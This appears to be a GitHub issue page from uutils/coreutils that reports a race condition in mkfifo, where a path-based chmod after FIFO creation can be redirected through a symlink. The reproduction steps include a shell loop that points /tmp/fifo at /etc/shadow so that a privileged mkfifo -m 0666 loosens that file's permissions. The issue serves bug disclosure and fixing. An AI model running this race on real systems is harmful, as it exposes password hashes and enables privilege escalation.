uutils/coreutils

mkfifo TOCTOU race via path-based chmod

Offen

#10.020 geöffnet am 03.01.2026

 (0 Kommentare) (0 Reaktionen) (0 zugewiesene Personen)Rust (2.001 Forks)batch import
U - mkfifogood first issuereported-canonical

Repository-Metriken

Stars
 (23.950 Sterne)
PR-Merge-Metriken
 (Durchschn. Merge 5T 23h) (239 gemergte PRs in 30 T)

Beschreibung

Component

mkfifo

Description

mkfifo creates a FIFO and then unconditionally performs a path-based chmod via std::fs::set_permissions.

Between these operations, an attacker with write access to the containing directory can replace the FIFO with a symlink.

Additionally, for the default case (no -m flag), the chmod is redundant as the kernel already applies umask during creation.

Test / Reproduction Steps

# Terminal 1 (attacker, racing the chmod):
while true; do
  rm -f /tmp/fifo; ln -s /etc/shadow /tmp/fifo
done

# Terminal 2 (victim with privileges):
while true; do
  rm -f /tmp/fifo; mkfifo -m 0666 /tmp/fifo
done

# Check if /etc/shadow permissions changed

Contributor Guide